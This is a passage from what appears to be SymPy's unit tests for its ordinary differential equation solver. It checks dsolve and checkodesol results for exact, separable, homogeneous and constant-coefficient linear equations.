cos(f(x)) + x**2 + f(x)**2, C1) sol4 = Eq(x*cos(f(x)) + f(x)**3/3, C1) sol5 = Eq(x**2*f(x) + f(x)**3/3, C1) assert dsolve(eq1, f(x), hint='1st_exact') == sol1 assert dsolve(eq2, f(x), hint='1st_exact') == sol2 assert dsolve(eq3, f(x), hint='1st_exact') == sol3 assert dsolve(eq4, hint='1st_exact') == sol4 assert dsolve(eq5, hint='1st_exact', simplify=False) == sol5 assert checkodesol(eq1, sol1, order=1, solve_for_func=False)[0] # issue 5080 blocks the testing of this solution #assert checkodesol(eq2, sol2, order=1, solve_for_func=False)[0] assert checkodesol(eq2, sol2b, order=1, solve_for_func=False)[0] assert checkodesol(eq3, sol3, order=1, solve_for_func=False)[0] assert checkodesol(eq4, sol4, order=1, solve_for_func=False)[0] assert checkodesol(eq5, sol5, order=1, solve_for_func=False)[0] @slow @XFAIL def test_1st_exact2(): """ This is an exact equation that fails under the exact engine. It is caught by first order homogeneous albeit with a much contorted solution. The exact engine fails because of a poorly simplified integral of q(0,y)dy, where q is the function multiplying f'. The solutions should be Eq(sqrt(x**2+f(x)**2)**3+y**3, C1). The equation below is equivalent, but it is so complex that checkodesol fails, and takes a long time to do so. """ if ON_TRAVIS: skip("Too slow for travis.") eq = (x*sqrt(x**2 + f(x)**2) - (x**2*f(x)/(f(x) - sqrt(x**2 + f(x)**2)))*f(x).diff(x)) sol = dsolve(eq) assert sol == Eq(log(x), C1 - 9*sqrt(1 + f(x)**2/x**2)*asinh(f(x)/x)/(-27*f(x)/x + 27*sqrt(1 + f(x)**2/x**2)) - 9*sqrt(1 + f(x)**2/x**2)* log(1 - sqrt(1 + f(x)**2/x**2)*f(x)/x + 2*f(x)**2/x**2)/ (-27*f(x)/x + 27*sqrt(1 + f(x)**2/x**2)) + 9*asinh(f(x)/x)*f(x)/(x*(-27*f(x)/x + 27*sqrt(1 + f(x)**2/x**2))) + 9*f(x)*log(1 - sqrt(1 + f(x)**2/x**2)*f(x)/x + 2*f(x)**2/x**2)/ (x*(-27*f(x)/x + 27*sqrt(1 + f(x)**2/x**2)))) assert checkodesol(eq, sol, order=1, solve_for_func=False)[0] def test_separable1(): # test_separable1-5 are from Ordinary Differential Equations, Tenenbaum and # Pollard, pg. 55 eq1 = f(x).diff(x) - f(x) eq2 = x*f(x).diff(x) - f(x) eq3 = f(x).diff(x) + sin(x) eq4 = f(x)**2 + 1 - (x**2 + 1)*f(x).diff(x) eq5 = f(x).diff(x)/tan(x) - f(x) - 2 sol1 = Eq(f(x), C1*exp(x)) sol2 = Eq(f(x), C1*x) sol3 = Eq(f(x), C1 + cos(x)) sol4 = Eq(atan(f(x)), C1 + atan(x)) sol5 = Eq(f(x), -2 + C1*sqrt(1 + tan(x)**2)) assert dsolve(eq1, hint='separable') == sol1 assert dsolve(eq2, hint='separable') == sol2 assert dsolve(eq3, hint='separable') == sol3 assert dsolve(eq4, hint='separable', simplify=False) == sol4 assert dsolve(eq5, hint='separable') == simplify(sol5).expand() assert checkodesol(eq1, sol1, order=1, solve_for_func=False)[0] assert checkodesol(eq2, sol2, order=1, solve_for_func=False)[0] assert checkodesol(eq3, sol3, order=1, solve_for_func=False)[0] assert checkodesol(eq4, sol4, order=1, solve_for_func=False)[0] assert checkodesol(eq5, sol5, order=1, solve_for_func=False)[0] def test_separable2(): a = Symbol('a') eq6 = f(x)*x**2*f(x).diff(x) - f(x)**3 - 2*x**2*f(x).diff(x) eq7 = f(x)**2 - 1 - (2*f(x) + x*f(x))*f(x).diff(x) eq8 = x*log(x)*f(x).diff(x) + sqrt(1 + f(x)**2) eq9 = exp(x + 1)*tan(f(x)) + cos(f(x))*f(x).diff(x) eq10 = (x*cos(f(x)) + x**2*sin(f(x))*f(x).diff(x) - a**2*sin(f(x))*f(x).diff(x)) # solve() messes this one up a little bit, so lets test _Integral here # We have to test strings with _Integral because y is a dummy variable. sol6str = ("Eq(Integral((_y - 2)/_y**3, (_y, f(x))), " "C1 + Integral(x**(-2), x))") sol7 = Eq(-log(-1 + f(x)**2)/2, C1 - log(2 + x)) sol8 = Eq(asinh(f(x)), C1 - log(log(x))) # integrate cannot handle the integral on the lhs (cos/tan) sol9str = ("Eq(Integral(cos(_y)/tan(_y), (_y, f(x))), " "C1 + Integral(-E*exp(x), x))") sol10 = Eq(-log(-1 + sin(f(x))**2)/2, C1 - log(x**2 - a**2)/2) assert str(dsolve(eq6, hint='separable_Integral')) == sol6str assert dsolve(eq7, hint='separable', simplify=False) == sol7 assert dsolve(eq8, hint='separable', simplify=False) == sol8 assert str(dsolve(eq9, hint='separable_Integral')) == sol9str assert dsolve(eq10, hint='separable', simplify=False) == sol10 assert checkodesol(eq7, sol7, order=1, solve_for_func=False)[0] assert checkodesol(eq8, sol8, order=1, solve_for_func=False)[0] assert checkodesol(eq10, sol10, order=1, solve_for_func=False)[0] def test_separable3(): eq11 = f(x).diff(x) - f(x)*tan(x) eq12 = (x - 1)*cos(f(x))*f(x).diff(x) - 2*x*sin(f(x)) eq13 = f(x).diff(x) - f(x)*log(f(x))/tan(x) sol11 = Eq(f(x), C1*sqrt(1 + tan(x)**2)) sol12 = Eq(log(-1 + cos(f(x))**2)/2, C1 + 2*x + 2*log(x - 1)) sol13 = Eq(log(log(f(x))), C1 + log(cos(x)**2 - 1)/2) assert dsolve(eq11, hint='separable') == simplify(sol11) assert dsolve(eq12, hint='separable', simplify=False) == sol12 assert dsolve(eq13, hint='separable', simplify=False) == sol13 assert checkodesol(eq11, sol11, order=1, solve_for_func=False)[0] assert checkodesol(eq13, sol13, order=1, solve_for_func=False)[0] def test_separable4(): # This has a slow integral (1/((1 + y**2)*atan(y))), so we isolate it. eq14 = x*f(x).diff(x) + (1 + f(x)**2)*atan(f(x)) sol14 = Eq(log(atan(f(x))), C1 - log(x)) assert dsolve(eq14, hint='separable', simplify=False) == sol14 assert checkodesol(eq14, sol14, order=1, solve_for_func=False)[0] def test_separable5(): eq15 = f(x).diff(x) + x*(f(x) + 1) eq16 = exp(f(x)**2)*(x**2 + 2*x + 1) + (x*f(x) + f(x))*f(x).diff(x) eq17 = f(x).diff(x) + f(x) eq18 = sin(x)*cos(2*f(x)) + cos(x)*sin(2*f(x))*f(x).diff(x) eq19 = (1 - x)*f(x).diff(x) - x*(f(x) + 1) eq20 = f(x)*diff(f(x), x) + x - 3*x*f(x)**2 eq21 = f(x).diff(x) - exp(x + f(x)) sol15 = Eq(f(x), -1 + C1*exp(-x**2/2)) sol16 = Eq(-exp(-f(x)**2)/2, C1 - x - x**2/2) sol17 = Eq(f(x), C1*exp(-x)) sol18 = Eq(-log(-1 + sin(2*f(x))**2)/4, C1 + log(-1 + sin(x)**2)/2) sol19 = Eq(f(x), (C1*exp(-x) - x + 1)/(x - 1)) sol20 = Eq(log(-1 + 3*f(x)**2)/6, C1 + x**2/2) sol21 = Eq(-exp(-f(x)), C1 + exp(x)) assert dsolve(eq15, hint='separable') == sol15 assert dsolve(eq16, hint='separable', simplify=False) == sol16 assert dsolve(eq17, hint='separable') == sol17 assert dsolve(eq18, hint='separable', simplify=False) == sol18 assert dsolve(eq19, hint='separable') == sol19 assert dsolve(eq20, hint='separable', simplify=False) == sol20 assert dsolve(eq21, hint='separable', simplify=False) == sol21 assert checkodesol(eq15, sol15, order=1, solve_for_func=False)[0] assert checkodesol(eq16, sol16, order=1, solve_for_func=False)[0] assert checkodesol(eq17, sol17, order=1, solve_for_func=False)[0] assert checkodesol(eq18, sol18, order=1, solve_for_func=False)[0] assert checkodesol(eq19, sol19, order=1, solve_for_func=False)[0] assert checkodesol(eq20, sol20, order=1, solve_for_func=False)[0] assert checkodesol(eq21, sol21, order=1, solve_for_func=False)[0] def test_separable_1_5_checkodesol(): eq12 = (x - 1)*cos(f(x))*f(x).diff(x) - 2*x*sin(f(x)) sol12 = Eq(-log(1 - cos(f(x))**2)/2, C1 - 2*x - 2*log(1 - x)) assert checkodesol(eq12, sol12, order=1, solve_for_func=False)[0] def test_homogeneous_order(): assert homogeneous_order(exp(y/x) + tan(y/x), x, y) == 0 assert homogeneous_order(x**2 + sin(x)*cos(y), x, y) is None assert homogeneous_order(x - y - x*sin(y/x), x, y) == 1 assert homogeneous_order((x*y + sqrt(x**4 + y**4) + x**2*(log(x) - log(y)))/ (pi*x**Rational(2, 3)*sqrt(y)**3), x, y) == Rational(-1, 6) assert homogeneous_order(y/x*cos(y/x) - x/y*sin(y/x) + cos(y/x), x, y) == 0 assert homogeneous_order(f(x), x, f(x)) == 1 assert homogeneous_order(f(x)**2, x, f(x)) == 2 assert homogeneous_order(x*y*z, x, y) == 2 assert homogeneous_order(x*y*z, x, y, z) == 3 assert homogeneous_order(x**2*f(x)/sqrt(x**2 + f(x)**2), f(x)) is None assert homogeneous_order(f(x, y)**2, x, f(x, y), y) == 2 assert homogeneous_order(f(x, y)**2, x, f(x), y) is None assert homogeneous_order(f(x, y)**2, x, f(x, y)) is None assert homogeneous_order(f(y, x)**2, x, y, f(x, y)) is None assert homogeneous_order(f(y), f(x), x) is None assert homogeneous_order(-f(x)/x + 1/sin(f(x)/ x), f(x), x) == 0 assert homogeneous_order(log(1/y) + log(x**2), x, y) is None assert homogeneous_order(log(1/y) + log(x), x, y) == 0 assert homogeneous_order(log(x/y), x, y) == 0 assert homogeneous_order(2*log(1/y) + 2*log(x), x, y) == 0 a = Symbol('a') assert homogeneous_order(a*log(1/y) + a*log(x), x, y) == 0 assert homogeneous_order(f(x).diff(x), x, y) is None assert homogeneous_order(-f(x).diff(x) + x, x, y) is None assert homogeneous_order(O(x), x, y) is None assert homogeneous_order(x + O(x**2), x, y) is None assert homogeneous_order(x**pi, x) == pi assert homogeneous_order(x**x, x) is None raises(ValueError, lambda: homogeneous_order(x*y)) @slow def test_1st_homogeneous_coeff_ode(): # Type: First order homogeneous, y'=f(y/x) eq1 = f(x)/x*cos(f(x)/x) - (x/f(x)*sin(f(x)/x) + cos(f(x)/x))*f(x).diff(x) eq2 = x*f(x).diff(x) - f(x) - x*sin(f(x)/x) eq3 = f(x) + (x*log(f(x)/x) - 2*x)*diff(f(x), x) eq4 = 2*f(x)*exp(x/f(x)) + f(x)*f(x).diff(x) - 2*x*exp(x/f(x))*f(x).diff(x) eq5 = 2*x**2*f(x) + f(x)**3 + (x*f(x)**2 - 2*x**3)*f(x).diff(x) eq6 = x*exp(f(x)/x) - f(x)*sin(f(x)/x) + x*sin(f(x)/x)*f(x).diff(x) eq7 = (x + sqrt(f(x)**2 - x*f(x)))*f(x).diff(x) - f(x) eq8 = x + f(x) - (x - f(x))*f(x).diff(x) sol1 = Eq(log(x), C1 - log(f(x)*sin(f(x)/x)/x)) sol2 = Eq(log(x), log(C1) + log(cos(f(x)/x) - 1)/2 - log(cos(f(x)/x) + 1)/2) sol3 = Eq(f(x), -exp(C1)*LambertW(-x*exp(-C1 + 1))) sol4 = Eq(log(f(x)), C1 - 2*exp(x/f(x))) sol5 = Eq(f(x), exp(2*C1 + LambertW(-2*x**4*exp(-4*C1))/2)/x) sol6 = Eq(log(x), C1 + exp(-f(x)/x)*sin(f(x)/x)/2 + exp(-f(x)/x)*cos(f(x)/x)/2) sol7 = Eq(log(f(x)), C1 - 2*sqrt(-x/f(x) + 1)) sol8 = Eq(log(x), C1 - log(sqrt(1 + f(x)**2/x**2)) + atan(f(x)/x)) assert dsolve(eq1, hint='1st_homogeneous_coeff_subs_dep_div_indep') == \ sol1 # indep_div_dep actually has a simpler solution for eq2, # but it runs too slow assert dsolve(eq2, hint='1st_homogeneous_coeff_subs_dep_div_indep', simplify=False) == sol2 assert dsolve(eq3, hint='1st_homogeneous_coeff_best') == sol3 assert dsolve(eq4, hint='1st_homogeneous_coeff_best') == sol4 assert dsolve(eq5, hint='1st_homogeneous_coeff_best') == sol5 assert dsolve(eq6, hint='1st_homogeneous_coeff_subs_dep_div_indep') == \ sol6 assert dsolve(eq7, hint='1st_homogeneous_coeff_best') == sol7 assert dsolve(eq8, hint='1st_homogeneous_coeff_best') == sol8 # checks are below @slow def test_1st_homogeneous_coeff_ode_check134568(): # These are the checkodesols from test_homogeneous_coeff_ode(). eq1 = f(x)/x*cos(f(x)/x) - (x/f(x)*sin(f(x)/x) + cos(f(x)/x))*f(x).diff(x) eq3 = f(x) + (x*log(f(x)/x) - 2*x)*diff(f(x), x) eq4 = 2*f(x)*exp(x/f(x)) + f(x)*f(x).diff(x) - 2*x*exp(x/f(x))*f(x).diff(x) eq5 = 2*x**2*f(x) + f(x)**3 + (x*f(x)**2 - 2*x**3)*f(x).diff(x) eq6 = x*exp(f(x)/x) - f(x)*sin(f(x)/x) + x*sin(f(x)/x)*f(x).diff(x) eq8 = x + f(x) - (x - f(x))*f(x).diff(x) sol1 = Eq(f(x)*sin(f(x)/x), C1) sol4 = Eq(log(C1*f(x)) + 2*exp(x/f(x)), 0) sol3 = Eq(-f(x)/(1 + log(x/f(x))), C1) sol5 = Eq(log(C1*x*sqrt(1/x)*sqrt(f(x))) + x**2/(2*f(x)**2), 0) sol6 = Eq(-exp(-f(x)/x)*sin(f(x)/x)/2 + log(C1*x) - cos(f(x)/x)*exp(-f(x)/x)/2, 0) sol8 = Eq(-atan(f(x)/x) + log(C1*x*sqrt(1 + f(x)**2/x**2)), 0) assert checkodesol(eq1, sol1, order=1, solve_for_func=False)[0] assert checkodesol(eq3, sol3, order=1, solve_for_func=False)[0] assert checkodesol(eq4, sol4, order=1, solve_for_func=False)[0] assert checkodesol(eq5, sol5, order=1, solve_for_func=False)[0] assert checkodesol(eq6, sol6, order=1, solve_for_func=False)[0] assert checkodesol(eq8, sol8, order=1, solve_for_func=False)[0] def test_1st_homogeneous_coeff_ode_check2(): eq2 = x*f(x).diff(x) - f(x) - x*sin(f(x)/x) sol2 = Eq(x/tan(f(x)/(2*x)), C1) assert checkodesol(eq2, sol2, order=1, solve_for_func=False)[0] @XFAIL def test_1st_homogeneous_coeff_ode_check3(): skip('This is a known issue.') # checker cannot determine that the following expression is zero: # (False, # x*(log(exp(-LambertW(C1*x))) + # LambertW(C1*x))*exp(-LambertW(C1*x) + 1)) # This is blocked by issue 5080. eq3 = f(x) + (x*log(f(x)/x) - 2*x)*diff(f(x), x) sol3a = Eq(f(x), x*exp(1 - LambertW(C1*x))) assert checkodesol(eq3, sol3a, solve_for_func=True)[0] # Checker can't verify this form either # (False, # C1*(log(C1*LambertW(C2*x)/x) + LambertW(C2*x) - 1)*LambertW(C2*x)) # It is because a = W(a)*exp(W(a)), so log(a) == log(W(a)) + W(a) and C2 = # -E/C1 (which can be verified by solving with simplify=False). sol3b = Eq(f(x), C1*LambertW(C2*x)) assert checkodesol(eq3, sol3b, solve_for_func=True)[0] def test_1st_homogeneous_coeff_ode_check7(): eq7 = (x + sqrt(f(x)**2 - x*f(x)))*f(x).diff(x) - f(x) sol7 = Eq(log(C1*f(x)) + 2*sqrt(1 - x/f(x)), 0) assert checkodesol(eq7, sol7, order=1, solve_for_func=False)[0] def test_1st_homogeneous_coeff_ode2(): eq1 = f(x).diff(x) - f(x)/x + 1/sin(f(x)/x) eq2 = x**2 + f(x)**2 - 2*x*f(x)*f(x).diff(x) eq3 = x*exp(f(x)/x) + f(x) - x*f(x).diff(x) sol1 = [Eq(f(x), x*(-acos(C1 + log(x)) + 2*pi)), Eq(f(x), x*acos(C1 + log(x)))] sol2 = Eq(log(f(x)), log(C1) + log(x/f(x)) - log(x**2/f(x)**2 - 1)) sol3 = Eq(f(x), log((1/(C1 - log(x)))**x)) # specific hints are applied for speed reasons assert dsolve(eq1, hint='1st_homogeneous_coeff_subs_dep_div_indep') == sol1 assert dsolve(eq2, hint='1st_homogeneous_coeff_best', simplify=False) == sol2 assert dsolve(eq3, hint='1st_homogeneous_coeff_subs_dep_div_indep') == sol3 assert checkodesol(eq1, sol1, order=1, solve_for_func=False)[0] assert checkodesol(eq2, sol2, order=1, solve_for_func=False)[0] # test for eq3 is in test_1st_homogeneous_coeff_ode2_check3 below def test_1st_homogeneous_coeff_ode2_check3(): eq3 = x*exp(f(x)/x) + f(x) - x*f(x).diff(x) sol3 = Eq(f(x), log(log(C1/x)**(-x))) assert checkodesol(eq3, sol3, order=1, solve_for_func=False)[0] def test_1st_homogeneous_coeff_ode_check9(): _u2 = Dummy('u2') __a = Dummy('a') eq9 = f(x)**2 + (x*sqrt(f(x)**2 - x**2) - x*f(x))*f(x).diff(x) sol9 = Eq(-Integral(-1/(-(1 - sqrt(1 - _u2**2))*_u2 + _u2), (_u2, __a, x/f(x))) + log(C1*f(x)), 0) assert checkodesol(eq9, sol9, order=1, solve_for_func=False)[0] def test_1st_homogeneous_coeff_ode3(): # The standard integration engine cannot handle one of the integrals # involved (see issue 4551). meijerg code comes up with an answer, but in # unconventional form. # checkodesol fails for this equation, so its test is in # test_1st_homogeneous_coeff_ode_check9 above. It has to compare string # expressions because u2 is a dummy variable. eq = f(x)**2 + (x*sqrt(f(x)**2 - x**2) - x*f(x))*f(x).diff(x) sol = Eq(log(f(x)), C1 - Piecewise( (-acosh(f(x)/x), abs(f(x)**2)/x**2 > 1), (I*asin(f(x)/x), True))) assert dsolve(eq, hint='1st_homogeneous_coeff_subs_indep_div_dep') == sol def test_1st_homogeneous_coeff_corner_case(): eq1 = f(x).diff(x) - f(x)/x c1 = classify_ode(eq1, f(x)) eq2 = x*f(x).diff(x) - f(x) c2 = classify_ode(eq2, f(x)) sdi = "1st_homogeneous_coeff_subs_dep_div_indep" sid = "1st_homogeneous_coeff_subs_indep_div_dep" assert sid not in c1 and sdi not in c1 assert sid not in c2 and sdi not in c2 @slow def test_nth_linear_constant_coeff_homogeneous(): # From Exercise 20, in Ordinary Differential Equations, # Tenenbaum and Pollard, pg. 220 a = Symbol('a', positive=True) k = Symbol('k', real=True) eq1 = f(x).diff(x, 2) + 2*f(x).diff(x) eq2 = f(x).diff(x, 2) - 3*f(x).diff(x) + 2*f(x) eq3 = f(x).diff(x, 2) - f(x) eq4 = f(x).diff(x, 3) + f(x).diff(x, 2) - 6*f(x).diff(x) eq5 = 6*f(x).diff(x, 2) - 11*f(x).diff(x) + 4*f(x) eq6 = Eq(f(x).diff(x, 2) + 2*f(x).diff(x) - f(x), 0) eq7 = diff(f(x), x, 3) + diff(f(x), x, 2) - 10*diff(f(x), x) - 6*f(x) eq8 = f(x).diff(x, 4) - f(x).diff(x, 3) - 4*f(x).diff(x, 2) + \ 4*f(x).diff(x) eq9 = f(x).diff(x, 4) + 4*f(x).diff(x, 3) + f(x).diff(x, 2) - \ 4*f(x).diff(x) - 2*f(x) eq10 = f(x).diff(x, 4) - a**2*f(x) eq11 = f(x).diff(x, 2) - 2*k*f(x).diff(x) - 2*f(x) eq12 = f(x).diff(x, 2) + 4*k*f(x).diff(x) - 12*k**2*f(x) eq13 = f(x).diff(x, 4) eq14 = f(x).diff(x, 2) + 4*f(x).diff(x) + 4*f(x) eq15 = 3*f(x).diff(x, 3) + 5*f(x).diff(x, 2) + f(x).diff(x) - f(x) eq16 = f(x).diff(x, 3) - 6*f(x).diff(x, 2) + 12*f(x).diff(x) - 8*f(x) eq17 = f(x).diff(x, 2) - 2*a*f(x).diff(x) + a**2*f(x) eq18 = f(x).diff(x, 4) + 3*f(x).diff(x, 3) eq19 = f(x).diff(x, 4) - 2*f(x).diff(x, 2) eq20 = f(x).diff(x, 4) + 2*f(x).diff(x, 3) - 11*f(x).diff(x, 2) - \ 12*f(x).diff(x) + 36*f(x) eq21 = 36*f(x).diff(x, 4) - 37*f(x).diff(x, 2) + 4*f(x).diff(x) + 5*f(x) eq22 = f(x).diff(x, 4) - 8*f(x).diff(x, 2) + 16*f(x) eq23 = f(x).diff(x, 2) - 2*f(x).diff(x) + 5*f(x) eq24 = f(x).diff(x, 2) - f(x).diff(x) + f(x) eq25 = f(x).diff(x, 4) + 5*f(x).diff(x, 2) + 6*f(x) eq26 = f(x).diff(x, 2) - 4*f(x).diff(x) + 20*f(x) eq27 = f(x).diff(x, 4) + 4*f(x).diff(x, 2) + 4*f(x) eq28 = f(x).diff(x, 3) + 8*f(x) eq29 = f(x).diff(x, 4) + 4*f(x).diff(x, 2) eq30 = f(x).diff(x, 5) + 2*f(x).diff(x, 3) + f(x).diff(x) sol1 = Eq(f(x), C1 + C2*exp(-2*x)) sol2 = Eq(f(x), (C1 + C2*exp(x))*exp(x)) sol3 = Eq(f(x), C1*exp(x) + C2*exp(-x)) sol4 = Eq(f(x), C1 + C2*exp(-3*x) + C3*exp(2*x)) sol5 = Eq(f(x), C1*exp(x/2) + C2*exp(4*x/3)) sol6 = Eq(f(x), C1*exp(x*(-1 + sqrt(2))) + C2*exp(x*(-sqrt(2) - 1))) sol7 = Eq(f(x), C1*exp(3*x) + C2*exp(x*(-2 - sqrt(2))) + C3*exp(x*(-2 + sqrt(2)))) sol8 = Eq(f(x), C1 + C2*exp(x) + C3*exp(-2*x) + C4*exp(2*x)) sol9 = Eq(f(x), C1*exp(x) + C2*exp(-x) + C3*exp(x*(-2 + sqrt(2))) + C4*exp(x*(-2 - sqrt(2)))) sol10 = Eq(f(x), C1*sin(x*sqrt(a)) + C2*cos(x*sqrt(a)) + C3*exp(x*sqrt(a)) + C4*exp(-x*sqrt(a))) sol11 = Eq(f(x), C1*exp(x*(k - sqrt(k**2 + 2))) + C2*exp(x*(k + sqrt(k**2 + 2)))) sol12 = Eq(f(x), C1*exp(-6*k*x) + C2*exp(2*k*x)) sol13 = Eq(f(x), C1 + C2*x + C3*x**2 + C4*x**3) sol14 = Eq(f(x), (C1 + C2*x)*exp(-2*x)) sol15 = Eq(f(x), (C1 + C2*x)*exp(-x) + C3*exp(x/3)) sol16 = Eq(f(x), (C1 + C2*x + C3*x**2)*exp(2*x)) sol17 = Eq(f(x), (C1 + C2*x)*exp(a*x)) sol18 = Eq(f(x), C1 + C2*x + C3*x**2 + C4*exp(-3*x)) sol19 = Eq(f(x), C1 + C2*x + C3*exp(x*sqrt(2)) + C4*exp(-x*sqrt(2))) sol20 = Eq(f(x), (C1 + C2*x)*exp(-3*x) + (C3 + C4*x)*exp(2*x)) sol21 = Eq(f(x), C1*exp(x/2) + C2*exp(-x) + C3*exp(-x/3) + C4*exp(5*x/6)) sol22 = Eq(f(x), (C1 + C2*x)*exp(-2*x) + (C3 + C4*x)*exp(2*x)) sol23 = Eq(f(x), (C1*sin(2*x) + C2*cos(2*x))*exp(x)) sol24 = Eq(f(x), (C1*sin(x*sqrt(3)/2) + C2*cos(x*sqrt(3)/2))*exp(x/2)) sol25 = Eq(f(x), C1*cos(x*sqrt(3)) + C2*sin(x*sqrt(3)) + C3*sin(x*sqrt(2)) + C4*cos(x*sqrt(2))) sol26 = Eq(f(x), (C1*sin(4*x) + C2*cos(4*x))*exp(2*x)) sol27 = Eq(f(x), (C1 + C2*x)*sin(x*sqrt(2)) + (C3 + C4*x)*cos(x*sqrt(2))) sol28 = Eq(f(x), (C1*sin(x*sqrt(3)) + C2*cos(x*sqrt(3)))*exp(x) + C3*exp(-2*x)) sol29 = Eq(f(x), C1 + C2*sin(2*x) + C3*cos(2*x) + C4*x) sol30 = Eq(f(x), C1 + (C2 + C3*x)*sin(x) + (C4 + C5*x)*cos(x)) sol1s = constant_renumber(sol1, 'C', 1, 2) sol2s = constant_renumber(sol2, 'C', 1, 2) sol3s = constant_renumber(sol3, 'C', 1, 2) sol4s = constant_renumber(sol4, 'C', 1, 3) sol5s = constant_renumber(sol5, 'C', 1, 2) sol6s = constant_renumber(sol6, 'C', 1, 2) sol7s = constant_renumber(sol7, 'C', 1, 3) sol8s = constant_renumber(sol8, 'C', 1, 4) sol9s = constant_renumber(sol9, 'C', 1, 4) sol10s = constant_renumber(sol10, 'C', 1, 4) sol11s = constant_renumber(sol11, 'C', 1, 2) sol12s = constant_renumber(sol12, 'C', 1, 2) sol13s = constant_renumber(sol13, 'C', 1, 4) sol14s = constant_renumber(sol14, 'C', 1, 2) sol15s = constant_renumber(sol15, 'C', 1, 3) sol16s = constant_renumber(sol16, 'C', 1, 3) sol17s = constant_renumber(sol17, 'C', 1, 2) sol18s = constant_renumber(sol18, 'C', 1, 4) sol19s = constant_renumber(sol19, 'C', 1, 4) sol20s = constant_renumber(sol20, 'C', 1, 4) sol21s = constant_renumber(sol21, 'C', 1, 4) sol22s = constant_renumber(sol22, 'C', 1, 4) sol23s = constant_renumber(sol23, 'C', 1, 2) sol24s = constant_renumber(sol24, 'C', 1, 2) sol25s = constant_renumber(sol25, 'C', 1, 4) sol26s = constant_renumber(sol26, 'C', 1, 2) sol27s = constant_renumber(sol27, 'C', 1, 4) sol28s = constant_renumber(sol28, 'C', 1, 3) sol29s = constant_renumber(sol29, 'C', 1, 4) sol30s = constant_renumber(sol30, 'C', 1, 5) assert dsolve(eq1) in (sol1, sol1s) assert dsolve(eq2) in (sol2, sol2s) assert dsolve(eq3) in (sol3, sol3s) assert dsolve(eq4) in (sol4, sol4s) assert dsolve(eq5) in (sol5, sol5s) assert dsolve(eq6) in (sol6, sol6s) assert dsolve(eq7) in (sol7, sol7s) assert dsolve(eq8) in (sol8, sol8s) assert dsolve(eq9) in (sol9, sol9s) assert dsolve(eq10) in (sol10, sol10s) assert dsolve(eq11) in (sol11, sol11s) assert dsolve(eq12) in (sol12, sol12s) assert dsolve(eq13) in (sol13, sol13s) assert dsolve(eq14) in (sol14, sol14s) assert dsolve(eq15) in (sol15, sol15s) assert dsolve(eq16) in (sol16, sol16s) assert dsolve(eq17) in (sol17, sol17s) assert dsolve(eq18) in (sol18, sol18s) assert dsolve(eq19) in (sol19, sol19s) assert dsolve(eq20) in (sol20, sol20s) assert dsolve(eq21) in (sol21, sol21s) assert dsolve(eq22) in (sol22, sol22s) assert dsolve(eq23) in (sol23, sol23s) assert dsolve(eq24) in (sol24, sol24s) assert dsolve(eq25) in (sol25, sol25s) assert dsolve(eq26) in (sol26, sol26s) assert dsolve(eq27) in (sol27, sol27s) assert dsolve(eq28) in (sol28, sol28s) assert dsolve(eq29) in (sol29, sol29s) assert dsolve(eq30) in (sol30, sol30s) assert checkodesol(eq1, sol1, order=2, solve_for_func=False)[0] assert checkodesol(eq2, sol2, order=2, solve_for_func=False)[0] assert checkodesol(eq3, sol3, order=2, solve_for_func=False)[0] assert checkodesol(eq4, sol4, order=3, solve_for_func=False)[0] assert checkodesol(eq5, sol5, order=2, solve_for_func=False)[0] assert checkodesol(eq6, sol6, order=2, solve_for_func=False)[0] assert checkodesol(eq7, sol7, order=3, solve_for_func=False)[0] assert checkodesol(eq8, sol8, order=4, solve_for_func=False)[0] assert checkodesol(eq9, sol9, order=4, solve_for_func=False)[0] assert checkodesol(eq10, sol10, order=4, solve_for_func=False)[0] assert checkodesol(eq11, sol11, order=2, solve_for_func=False)[0] assert checkodesol(eq12, sol12, order=2, solve_for_func=False)[0] assert checkodesol(eq13, sol13, order=4, solve_for_func=False)[0] assert checkodesol(eq14, sol14, order=2, solve_for_func=False)[0] assert checkodesol(eq15, sol15, order=3, solve_for_func=False)[0] assert checkodesol(eq16, sol16, order=3, solve_for_func=False)[0] assert checkodesol(eq17, sol17, order=2, solve_for_func=False)[0] assert checkodesol(eq18, sol18, order=4, solve_for_func=False)[0] assert checkodesol(eq19, sol19, order=4, solve_for_func=False)[0] assert checkodesol(eq20, sol20, order=4, solve_for_func=False)[0] assert checkodesol(eq21, sol21, order=4, solve_for_func=False)[0] assert checkodesol(eq22, sol22, order=4, solve_for_func=False)[0] assert checkodesol(eq23, sol23, order=2, solve_for_func=False)[0] assert checkodesol(eq24, sol24, order=2, solve_for_func=False)[0] assert checkodesol(eq25, sol25, order=4, solve_for_func=False)[0] assert checkodesol(eq26, sol26, order=2, solve_for_func=False)[0] assert checkodesol(eq27, sol27, order=4, solve_for_func=False)[0] assert checkodesol(eq28, sol28, order=3, solve_for_func=False)[0] assert checkodesol(eq29, sol29, order=4, solve_for_func=False)[0] assert checkodesol(eq30, sol30, order=5, solve_for_func=False)[0] def test_nth_linear_constant_coeff_homogeneous_RootOf(): eq = f(x).diff(x, 5) + 11*f(x).diff(x) - 2*f(x) sol = Eq(f(x), C1*exp(x*RootOf(x**5 + 11*x - 2, 0)) + C2*exp(x*RootOf(x**5 + 11*x - 2, 1)) + C3*exp(x*RootOf(x**5 + 11*x - 2, 2)) + C4*exp(x*RootOf(x**5 + 11*x - 2, 3)) + C5*exp(x*RootOf(x**5 + 11*x - 2, 4))) assert dsolve(eq) == sol @XFAIL @slow def test_nth_linear_constant_coeff_homogeneous_RootOf_sol(): eq = f(x).diff(x, 5) + 11*f(x).diff(x) - 2*f(x) sol = Eq(f(x), C1*exp(x*RootOf(x**5 + 11*x - 2, 0)) + C2*exp(x*RootOf(x**5 + 11*x - 2, 1)) + C3*exp(x*RootOf(x**5 + 11*x - 2, 2)) + C4*exp(x*RootOf(x**5 + 11*x - 2, 3)) + C5*exp(x*RootOf(x**5 + 11*x - 2, 4))) assert checkodesol(eq, sol, order=5, solve_for_func=False)[0] @XFAIL def test_noncircularized_real_imaginary_parts(): # If this passes, lines numbered 3878-3882 (at the time of this commit) # of sympy/solvers/ode.py for nth_linear_constant_coeff_homogeneous # should be removed. y = sqrt(1+x) i, r = im(y), re(y) assert not (i.has(atan2) and r.has(atan2)) @XFAIL def test_collect_respecting_exponentials(): # If this test passes, lines 1306-1311 (at the time of this commit) # of sympy/solvers/ode.py should be removed. sol = 1 + exp(x/2) assert sol == collect( sol, exp(x/3)) def test_undetermined_coefficients_match(): assert _undetermined_coefficients_match(g(x), x) == {'test': False} assert _undetermined_coefficients_match(sin(2*x + sqrt(5)), x) == \ {'test': True, 'trialset': set([cos(2*x + sqrt(5)), sin(2*x + sqrt(5))])} assert 